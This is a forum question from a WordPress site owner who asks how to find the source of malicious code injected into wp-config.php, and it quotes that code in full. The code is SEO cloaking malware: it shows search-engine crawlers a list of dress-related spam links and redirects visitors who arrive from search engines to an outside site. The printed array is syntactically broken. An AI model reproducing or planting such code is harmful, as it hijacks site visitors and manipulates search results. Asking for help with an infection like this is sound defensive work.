title: How to track down a header redirect being injected into wp-config.php
body: <p>I have the code being injected into one of my sites. I can't find the culprit. I downloaded the site with BackupBuddy, and it showed the injected code, which is the following:</p>
  <pre><code>&lt;?php
  
  $referer = $_SERVER['HTTP_REFERER'];
  $user_agent = $_SERVER['HTTP_USER_AGENT'];
  
  $tmp = strtolower($_SERVER['HTTP_USER_AGENT']);
  
  if (strpos($tmp, 'google') !== false || strpos($tmp, 'yahoo') !== false || strpos($tmp, 'bing') !== false ||
  
    strpos($tmp, 'aol') !== false || strpos($tmp, 'sqworm') !== false || strpos($tmp, 'bot') !== false) {
  
    cheongsam dress =&gt; &quot;http://www.cozyladywear.com/qipao-cheongsam-c-87.html&quot;,
    cheongsam dresses =&gt; &quot;http://www.goodorient.com/Dresses_C115&quot;,
    cheongsam style dress =&gt; &quot;https://www.pinterest.com/explore/cheongsam-modern/&quot;,
    cheongsam dress pattern =&gt; &quot;http://www.japanesesewingbooks.com/2014/01/13/free-girls-qi-pao-chinese-dress-pattern-and-sew-along/&quot;,
    dress cheongsam =&gt; &quot;http://www.japanesesewingbooks.com/2014/01/13/free-girls-qi-pao-chinese-dress-pattern-and-sew-along/&quot;,
    cheongsam dresses for sale =&gt; &quot;http://modernqipao.com/&quot;,
    red cheongsam dress =&gt; &quot;http://redchinesedress.com/product-category/cheongsam-qipao/&quot;,
    black cheongsam dress =&gt; &quot;https://www.etsy.com/market/black_cheongsam&quot;,
    cheongsam evening dress =&gt; &quot;http://yannyexpress.com/collections/wedding-qipao-cheongsam&quot;,
    cheongsam dress for sale =&gt; &quot;http://www.dresswe.com/cheongsam-dresses-103948/&quot;,
    short cheongsam dresses =&gt; &quot;http://www.elegente.com/short-cheongsam&quot;,
    cheongsam inspired dresses =&gt; &quot;https://www.pinterest.com/friedwontons4u/the-modern-girls-guide-to-cheongsamqipao/&quot;,
    lace cheongsam dress =&gt; &quot;http://modernqipao.com/product-category/material/lace/&quot;,
    silk cheongsam dress =&gt; &quot;http://www.efushop.com/index.php/goods/category/Silk-Brocade-cheongsam&quot;,
    vintage cheongsam dress =&gt; &quot;https://www.etsy.com/market/vintage_cheongsam&quot;,
    blue cheongsam dress =&gt; &quot;http://modernqipao.com/product-tag/blue/&quot;,
    purple cheongsam dress =&gt; &quot;http://modernqipao.com/product-tag/purple-lavender-color/&quot;,
    white cheongsam dress =&gt; &quot;https://www.pinterest.com/explore/cheongsam-wedding/&quot;,
    cotton cheongsam dress =&gt; &quot;http://www.efushop.com/index.php/goods/category/Cotton-cheongsam&quot;,
    cheongsam dress sewing pattern =&gt; &quot;http://vintagepatterns.wikia.com/wiki/Category:Cheongsam&quot;,
    cheongsam prom dress =&gt; &quot;http://www.cozyladywear.com/fuchsia-fishtail-cheongsam-qipao-chinese-wedding-prom-dress-p-611.html&quot;,
    cheongsam inspired dress =&gt; &quot;https://www.etsy.com/market/qipao&quot;,
    gold cheongsam dress =&gt; &quot;http://modernqipao.com/product/gold-circled-lace-modern-mini-qipao-sexy-chinese-cheongsam-dress/&quot;,
    cheongsam dinner dress =&gt; &quot;https://www.pinterest.com/yannyexpress/wedding-qipao-cheongsam-bridal-kwa-qun-couture-eve/&quot;,
    cheongsam bridesmaid dresses =&gt; &quot;https://www.pinterest.com/explore/chinese-wedding-dresses/&quot;,
    pink cheongsam dress =&gt; &quot;http://modernqipao.com/product-tag/pink-peach-champagne/&quot;,
    cheongsam short dress =&gt; &quot;https://www.pinterest.com/cozyladywear/qipao-cheongsam/&quot;,
    hot cheongsam dress =&gt; &quot;http://www.idreammart.com/chinese-dresses/2015-hot-cheongsam-chinese-dresses.html&quot;,
    cheongsam dresses uk =&gt; &quot;http://www.kaiizhang.co.uk/&quot;,
    chinese traditional dress =&gt; &quot;https://en.wikipedia.org/wiki/Chinese_clothing&quot;,
    traditional chinese dress =&gt; &quot;http://www.travelchinaguide.com/intro/clothing/&quot;,
    traditional chinese dresses =&gt; &quot;http://www.chinatoday.com/culture/qipao/qipao.htm&quot;,
    chinese dress traditional =&gt; &quot;https://en.wikipedia.org/wiki/Cheongsam&quot;,
    );
    exit;
  }
  //
  $from_search_engine = false;
  $jump_referer = array('google','bing','yahoo','msn','ask','yandex','aol');
  foreach($jump_referer as $ref){
    $ref_rst = stripos($referer,$ref);
    if($ref_rst &gt; -1){
      $from_search_engine=true;
      break;
    }
  }
  
  if($from_search_engine){
    header(&quot;Location: http://www.acc2buy.com/&quot;);
    exit;
  }
  ?&gt;
  </code></pre>
  <p>This code is at the very top of wp-config.php - however, when I login via FTP, this code isn't there. So it's redirecting all users that try to come via a search engine.</p>
  <p>How would I go about tracking down the actual injection file? I've already GREPped everything, looking for any references to wp-config.php.</p>
  <p>I have also started with index.php, and worked my way through wp-blog-head.php and wp-load.php - I can't seem to find where it's being prepended.</p>
  <p>Thanks in advance guys!</p>